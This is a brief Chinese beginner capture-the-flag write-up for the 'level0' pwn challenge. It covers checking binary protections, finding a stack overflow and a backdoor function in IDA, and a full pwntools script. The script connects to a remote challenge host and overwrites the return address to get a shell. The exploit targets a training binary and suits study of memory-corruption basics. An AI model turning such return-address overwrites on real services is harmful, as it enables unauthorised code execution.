新手PWN题WP
第一步:查看防护
因为这是新版checkssec,所以命令有所不同
不过可以从图片中看出除了NX以外其他防护都没开。
用file命令查看架构信息,为64位。
第二步:将文件拖入IDA64位中查看
很明显的数组越界,导致栈溢出。
查看所需要的填充字节
很明显的后门函数,可以直接get shell。
思路与脚本
直接利用栈溢出,覆盖返回地址为后面函数的地址
from pwn import*
r = remote('node4.buuoj.cn',25944)
context(arch='amd64', os='linux', log_level='debug')
e = ELF('level0')
sys_addr = 0x0400596
r.recv()
payload1 = b'a'*0x80 + p64(0) + p64(sys_addr)
r.send(payload1)
r.interactive()
get flag成功